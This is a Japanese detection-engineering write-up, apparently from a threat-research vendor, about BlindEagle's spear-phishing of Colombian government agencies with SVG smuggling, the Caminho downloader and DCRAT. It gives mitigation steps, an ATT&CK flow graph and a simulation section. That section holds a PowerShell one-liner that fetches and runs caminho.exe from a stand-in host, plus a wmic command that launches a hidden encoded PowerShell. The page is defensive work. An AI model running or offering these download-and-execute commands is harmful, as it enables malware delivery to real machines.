BlindEagle、CaminhoおよびDCRATでコロンビア政府機関を標的に

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
BlindEagle、CaminhoおよびDCRATでコロンビア政府機関を標的に
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

BlindEagle は、コロンビアの政府機関を標的としたスピアフィッシング作戦を実施し、武器化された SVG 添付ファイルを配信しました。これにより、JavaScript から PowerShell への実行チェーンが開始されました。そのシーケンスにより、Caminho と名付けられたダウンローダがダウンロードされ、次に Discord にホストされたオープンソースの DCRAT リモートアクセス トロイの木馬が取得されました。最終段階では、MSBuild.exe にプロセスホローイングを使用し、複数の回避方法を適用して検出を減らしました。

調査

Zscaler ThreatLabz は感染の流れを分析し、SVG すり替え手法、複数レイヤーの難読化された JavaScript、WMI による PowerShell コマンドのトリガ、そして Discord にホストされた URL を通じた Caminho 配信を報告しました。また、サポートインフラストラクチャをスウェーデンの IP アドレスと動的 DNS プロバイダー(ydns.eu).

緩和策

受信電子メールの添付ファイル、特に SVG コンテンツに対する制御を強化し、埋め込まれたスクリプトのコンテンツ無害化/検査を強制します。マルウェア配信に使用される Discord ファイルの URL を含む疑わしいファイルホスティングエンドポイントへのアクセスを制限するためのウェブ プロキシ ポリシーを使用します。不審な PowerShell および WMI 実行パターンを監視し、MSBuild.exe の使用を含むアプリケーションホワイトリストポリシーを強制します。

対応

対応

悪意のある SVG アーティファクト、参照される JavaScript ファイル名、Discord URL に到達するダウンロードについてアラートをトリガします。Caminho と DCRAT のメモリ内またはディスク上の痕跡、MSBuild.exe プロセスホローイングの証拠、およびレジストリ変更またはスケジュールされたタスクを介した永続性を探します。影響を受けたエンドポイントを隔離し、特定された C2 ドメインをブロックします。

“graph TB %% Class definitions classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 %% Nodes initial_access_phishing[“<b>アクション</b> – <b>T1566.001 フィッシング添付ファイル</b><br/>メール内のSVG添付ファイル”] class initial_access_phishing action user_exec_malicious_link[“<b>アクション</b> – <b>T1204.001 ユーザー実行</b><br/>悪意のあるSVG画像をクリック”] class user_exec_malicious_link action user_exec_malicious_file[“<b>アクション</b> – <b>T1204.002 ユーザー実行</b><br/>JavaScriptファイルを開く”] class user_exec_malicious_file action obfuscation_svg_smuggling[“<b>テクニック</b> – <b>T1027.017</b><br/>スクリプトを隠すためのSVG密輸”] class obfuscation_svg_smuggling technique obfuscation_embedded_payloads[“<b>テクニック</b> – <b>T1027.009</b><br/>Base64エンコードされたJavaScriptペイロード”] class obfuscation_embedded_payloads technique command_js[“<b>テクニック</b> – <b>T1059.007 JavaScript</b><br/>デオブスクフスクリプト”] class command_js technique command_powershell[“<b>テクニック</b> – <b>T1059.001 PowerShell</b><br/>WMIを作成してPowerShellを実行”] class command_powershell technique event_wmi_subscription[“<b>テクニック</b> – <b>T1546.003</b><br/>WMIイベントサブスクリプション実行”] class event_wmi_subscription technique obfuscation_steganography[“<b>テクニック</b> – <b>T1027.003</b><br/>PNG画像に隠されたペイロード”] class obfuscation_steganography technique reflective_code_loading[“<b>テクニック</b> – <b>T1620</b><br/>リフレクティブ.NETアセンブリの読み込み”] class reflective_code_loading technique process_hollowing[“<b>テクニック</b> – <b>T1055.012</b><br/>MsBuildホローイング”] class process_hollowing technique downloader_caminho[“<b>ツール</b> – <b>名前</b>: Caminhoダウンローダー<br/><b>目的</b>: DCRATの取得”] class downloader_caminho tool malware_dcrat[“<b>マルウェア</b> – <b>名前</b>: DCRAT”] class malware_dcrat malware amsi_bypass[“<b>テクニック</b> – <b>T1027.005</b><br/>AMSIをパッチして検出を回避”] class amsi_bypass technique persistence_run_key[“<b>テクニック</b> – <b>T1547.001</b><br/>レジストリにRunキーを作成”] class persistence_run_key technique persistence_scheduled_task[“<b>テクニック</b> – <b>T1053</b><br/>スケジュールされたタスクの作成”] class persistence_scheduled_task technique c2_discord[“<b>コマンド & コントロール</b> – ペイロード配布に使用されるDiscord URL”] class c2_discord technique %% Connections initial_access_phishing u002du002d>|leads_to| user_exec_malicious_link user_exec_malicious_link u002du002d>|leads_to| user_exec_malicious_file user_exec_malicious_file u002du002d>|leads_to| obfuscation_svg_smuggling obfuscation_svg_smuggling u002du002d>|leads_to| obfuscation_embedded_payloads obfuscation_embedded_payloads u002du002d>|leads_to| command_js command_js u002du002d>|leads_to| command_powershell command_powershell u002du002d>|leads_to| event_wmi_subscription event_wmi_subscription u002du002d>|leads_to| obfuscation_steganography obfuscation_steganography u002du002d>|leads_to| reflective_code_loading reflective_code_loading u002du002d>|leads_to| process_hollowing process_hollowing u002du002d>|leads_to| downloader_caminho downloader_caminho u002du002d>|downloads| malware_dcrat malware_dcrat u002du002d>|performs| amsi_bypass malware_dcrat u002du002d>|establishes| persistence_run_key malware_dcrat u002du002d>|establishes| persistence_scheduled_task malware_dcrat u002du002d>|uses| c2_discord “

攻撃フロー

シミュレーション実行

前提条件: テレメトリとベースラインの事前フライトチェックが合格している必要があります。

理由: このセクションは、検出ルールをトリガーするように設計された敵技術 (TTP) の正確な実行を詳細に説明します。コマンドと説明は、特定された TTP を直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。

  • 攻撃のストーリー & コマンド:
    脅威アクター(BlindEagle)は、WMI を使用して PowerShell プロセスを生成し、リモート C2 サーバーから「Caminho」ペイロードをダウンロードし、メモリ内で実行します。 wmic.exeプロセスの作成を呼び出す メソッドを使用して、ユーザー セッションと対話することなく PowerShell を実行できるため、このアクティビティがスティルシーに実行されます。コマンドラインに「powershell」という文字列が含まれており、検出ルールの条件を満たします。

    1. ステージ 1 – 悪意のある Powershell ワンライナーを準備します:

      $url = "http://malicious.example.com/caminho.exe"
      $out = "$env:TEMPcaminho.exe"
      Invoke-WebRequest -Uri $url -OutFile $out; PowerShell -ExecutionPolicy Bypass -File $out
    2. ステージ 2 – WMI 経由で実行します:

      $psCmd = 'powershell -nop -w hidden -enc <base64-encoded-payload>'
      wmic process call create "$psCmd"

    の存在 powershell Sysmon イベント 1 の コマンドライン フィールドにあり、 wmic の子プロセスがルールをトリガします。

  • リグレッション テスト スクリプト:

    # WMI を介した BlindEagle PowerShell のシミュレーション
    # ----------------------------------------------------------------------
    # 1. 悪意のあるペイロードを定義します(テストでは無害な echo コマンドを使用します)
    $payload = 'Write-Host "Simulated Caminho execution"'
    $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
    
    # 2. 「powershell」という文字列を含む PowerShell コマンド ラインを構築します
    $psCommand = "powershell -NoProfile -EncodedCommand $encoded"
    
    # 3. WMI (wmic) を介してコマンドを起動し、Sysmon EventID 1 を生成します
    $wmicCommand = "wmic process call create `"$psCommand`""
    Write-Host "WMI 経由で実行: $wmicCommand"
    Invoke-Expression $wmicCommand
    
    # 4. オプション: 検証のためにコンソールにログを記録します
    Write-Host "シミュレーション完了。SIEM での検出を確認してください。"
  • クリーンアップ コマンド:

    # 一時ファイルを削除します(このシミュレーションでは作成されません)
    # テストのために開始されたプロセス作成や PowerShell プロセスを停止します
    Get-Process -Name wmic, powershell -ErrorAction SilentlyContinue | Stop-Process -Force
    Write-Host "クリーンアップ完了。"